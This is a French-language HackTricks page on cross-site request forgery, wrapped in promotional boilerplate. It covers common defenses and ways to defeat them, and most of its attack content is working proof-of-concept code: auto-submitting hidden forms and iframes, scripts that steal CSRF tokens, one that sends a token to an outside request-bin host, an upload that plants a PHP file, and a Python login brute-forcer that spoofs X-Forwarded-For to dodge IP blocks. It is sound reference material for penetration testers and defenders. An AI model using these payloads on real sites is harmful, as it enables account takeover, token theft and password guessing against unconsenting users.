25 KiB
CSRF (Cross Site Request Forgery)
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres moyens de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le merchandising officiel PEASS & HackTricks
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux dépôts github HackTricks et HackTricks Cloud.
Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs !
Aperçus de piratage
Engagez-vous avec du contenu qui plonge dans le frisson et les défis du piratage
Nouvelles de piratage en temps réel
Restez à jour avec le monde du piratage rapide grâce à des nouvelles et des aperçus en temps réel
Dernières annonces
Restez informé avec les lancements de primes de bugs les plus récents et les mises à jour cruciales de la plateforme
Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
Qu'est-ce que CSRF ?
La falsification de requête intersite (également connue sous le nom de CSRF) est une vulnérabilité de sécurité Web qui permet à un attaquant d'induire les utilisateurs à effectuer des actions qu'ils n'ont pas l'intention de réaliser.
Cela se fait en faisant accéder un utilisateur connecté sur la plateforme victime à un site Web contrôlé par l'attaquant et de là exécuter du code JS malveillant, envoyer des formulaires ou récupérer des "images" vers le compte des victimes.
Prérequis
Pour pouvoir abuser d'une vulnérabilité CSRF, vous devez d'abord trouver une action pertinente à abuser (changer de mot de passe ou d'email, faire en sorte que la victime vous suive sur un réseau social, vous donner plus de privilèges...). La session doit reposer uniquement sur des cookies ou l'en-tête d'authentification HTTP de base, aucun autre en-tête ne peut être utilisé pour gérer la session. Enfin, il ne devrait pas y avoir de paramètres imprévisibles dans la requête.
Plusieurs contre-mesures pourraient être en place pour éviter cette vulnérabilité.
Défenses communes
- Cookies SameSite : Si le cookie de session utilise ce drapeau, vous ne pourrez peut-être pas envoyer le cookie à partir de sites Web arbitraires.
- Partage de ressources entre origines : Selon le type de requête HTTP que vous devez effectuer pour abuser de l'action pertinente, vous pouvez prendre en compte la politique CORS du site victime. Notez que la politique CORS n'aura pas d'effet si vous voulez juste envoyer une requête GET ou une requête POST à partir d'un formulaire et que vous n'avez pas besoin de lire la réponse.
- Demander le mot de passe de l'utilisateur pour autoriser l'action.
- Résoudre un captcha
- Lire les en-têtes Referrer ou Origin. Si une regex est utilisée, elle pourrait être contournée par exemple avec :
- http://mal.net?orig=http://example.com (se termine par l'url)
- http://example.com.mal.net (commence par l'url)
- Modifier le nom des paramètres de la requête Post ou Get
- Utiliser un jeton CSRF dans chaque session. Ce jeton doit être envoyé à l'intérieur de la requête pour confirmer l'action. Ce jeton pourrait être protégé avec CORS.
Carte CSRF
Contournement des défenses
De POST à GET
Peut-être que le formulaire que vous souhaitez abuser est préparé pour envoyer une requête POST avec un jeton CSRF mais, vous devriez vérifier si un GET est également valide et si lorsque vous envoyez une requête GET le jeton CSRF est toujours validé.
Manque de jeton
Certaines applications valident correctement le jeton lorsqu'il est présent mais sautent la validation si le jeton est omis.
Dans cette situation, l'attaquant peut supprimer entièrement le paramètre contenant le jeton (pas seulement sa valeur) pour contourner la validation et mener une attaque CSRF.
Le jeton CSRF n'est pas lié à la session utilisateur
Certaines applications ne valident pas que le jeton appartient à la même session que l'utilisateur qui fait la demande. Au lieu de cela, l'application maintient un pool global de jetons qu'elle a émis et accepte tout jeton qui apparaît dans ce pool.
Dans cette situation, l'attaquant peut se connecter à l'application en utilisant son propre compte, obtenir un jeton valide, et ensuite transmettre ce jeton à l'utilisateur victime dans son attaque CSRF.
Contournement de méthode
Si la requête utilise une méthode "étrange", vérifiez si la fonctionnalité de surcharge de méthode fonctionne.
Par exemple, si elle utilise une méthode PUT, vous pouvez essayer d'utiliser une méthode POST et envoyer : https://example.com/my/dear/api/val/num?_method=PUT
Cela pourrait aussi fonctionner en envoyant le paramètre _method à l'intérieur d'une requête POST ou en utilisant les en-têtes :
- X-HTTP-Method
- X-HTTP-Method-Override
- X-Method-Override
Contournement de jeton d'en-tête personnalisé
Si la requête ajoute un en-tête personnalisé avec un jeton à la requête comme méthode de protection CSRF, alors :
- Testez la requête sans le Jeton personnalisé et aussi sans en-tête.
- Testez la requête avec un jeton de même longueur mais différent.
Le jeton CSRF est vérifié par un cookie
Dans une variation supplémentaire sur la vulnérabilité précédente, certaines applications dupliquent chaque jeton dans un cookie et un paramètre de requête. Ou elles définissent un cookie csrf et vérifient dans le backend si le jeton csrf envoyé est celui lié au cookie.
Lorsque la requête suivante est validée, l'application vérifie simplement que le jeton soumis dans le paramètre de requête correspond à la valeur stockée par le cookie.
Dans cette situation, l'attaquant peut à nouveau effectuer une attaque CSRF si le site Web contient une vulnérabilité qui lui permettrait de définir son cookie CSRF pour la victime comme un CRLF.
Dans ce cas, vous pouvez définir le cookie en essayant de charger une fausse image, puis lancer l'attaque CSRF comme dans cet exemple :
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body>
</html>
{% hint style="info" %} Notez que si le jeton csrf est lié au cookie de session, cette attaque ne fonctionnera pas car vous devrez définir la session de la victime pour vous-même, et donc vous vous attaquerez vous-même. {% endhint %}
Changement de Content-Type
Selon ceci, pour éviter les requêtes preflight en utilisant la méthode POST, voici les valeurs de Content-Type autorisées :
application/x-www-form-urlencoded
multipart/form-data
text/plain
Cependant, notez que la logique des serveurs peut varier en fonction du Content-Type utilisé, donc vous devriez essayer les valeurs mentionnées et d'autres comme application/json
,text/xml
, application/xml
.
Exemple (tiré de ici) d'envoi de données JSON comme text/plain :
<html>
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
</html>
contournement de la requête de pré-vol application/json
Comme vous le savez déjà, vous ne pouvez pas envoyer une requête POST avec le Content-Type application/json
via un formulaire HTML, et si vous essayez de le faire via XMLHttpRequest
, une requête de pré-vol est d'abord envoyée.
Cependant, vous pourriez essayer d'envoyer les données JSON en utilisant les types de contenu **text/plain
et application/x-www-form-urlencoded
** juste pour vérifier si le backend utilise les données indépendamment du Content-Type.
Vous pouvez envoyer un formulaire en utilisant Content-Type: text/plain
en définissant enctype="text/plain"
Si le serveur n'accepte que le type de contenu "application/json", vous pouvez envoyer le type de contenu "text/plain; application/json" sans déclencher de requête de pré-vol.
Vous pourriez également essayer de contourner cette restriction en utilisant un fichier flash SWF. Pour plus d'informations lisez ce post.
contournement de la vérification du Referrer / Origin
Éviter l'en-tête Referrer
Certaines applications valident l'en-tête Referer lorsqu'il est présent dans les requêtes mais ignorent la validation si l'en-tête est omis.
<meta name="referrer" content="never">
Contournements Regexp
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}
Pour définir le nom de domaine du serveur dans l'URL que le Referrer va envoyer à l'intérieur des paramètres, vous pouvez faire :
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>
Contournement par la méthode HEAD
La première partie de ce compte-rendu de CTF explique que dans le code source d'Oak, un routeur est configuré pour traiter les requêtes HEAD comme des requêtes GET sans corps de réponse - une solution courante qui n'est pas propre à Oak. Au lieu d'un gestionnaire spécifique pour les requêtes HEAD, elles sont simplement transmises au gestionnaire GET mais l'application supprime le corps de la réponse.
Par conséquent, si une requête GET est limitée, vous pourriez simplement envoyer une requête HEAD qui sera traitée comme une requête GET.
Exemples d'exploitation
Exfiltration de jeton CSRF
Si un jeton CSRF est utilisé comme défense, vous pourriez essayer de l'exfiltrer en abusant d'une vulnérabilité XSS ou d'une vulnérabilité de Dangling Markup.
Utilisation de GET avec des balises HTML
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
Les autres balises HTML5 qui peuvent être utilisées pour envoyer automatiquement une requête GET sont :
Requête GET de formulaire
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Requête POST de formulaire
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>
Requête POST de formulaire via iframe
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Requête POST Ajax
<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>
<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value¶m2=value2"
})
</script>
requête POST multipart/form-data
myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});
requête POST multipart/form-data v2
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
// MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";
//xhr.send(body);
xhr.sendAsBinary(body);
Requête POST de formulaire à partir d'un iframe
<--! expl.html -->
<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>
<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
Vol de jeton CSRF et envoi d'une requête POST
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy");
}
function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}
var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();
Vol de jeton CSRF et envoi d'une requête Post à l'aide d'un iframe, d'un formulaire et d'Ajax
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>
<script type="text/javascript">
function f1(){
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;
document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
Vol de jeton CSRF et envoi d'une requête POST à l'aide d'un iframe et d'un formulaire
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
<script>
function read()
{
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>
Vol de token et envoi via 2 iframes
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>
Vol de jeton CSRF avec Ajax et envoi d'un post avec un formulaire
<body onload="getData()">
<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>
<script>
var x = new XMLHttpRequest();
function getData() {
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>
CSRF avec Socket.IO
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');
const username = 'admin'
socket.on('connect', () => {
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})
});
</script>
Force brute de connexion CSRF
Le code peut être utilisé pour forcer brutalement un formulaire de connexion utilisant un jeton CSRF (Il utilise également l'en-tête X-Forwarded-For pour tenter de contourner un éventuel blocage d'IP) :
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
Outils
Références
- https://portswigger.net/web-security/csrf
- https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html
Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs !
Aperçus du Hacking
Engagez-vous avec du contenu qui plonge dans l'excitation et les défis du hacking.
Nouvelles du Hacking en Temps Réel
Restez à jour avec le monde du hacking rapide grâce à des nouvelles et des aperçus en temps réel.
Dernières Annonces
Restez informé avec les derniers lancements de primes de bugs et les mises à jour cruciales de la plateforme.
Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres moyens de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !
- Obtenez le merchandising officiel PEASS & HackTricks
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de hacking en soumettant des PR aux dépôts github HackTricks et HackTricks Cloud.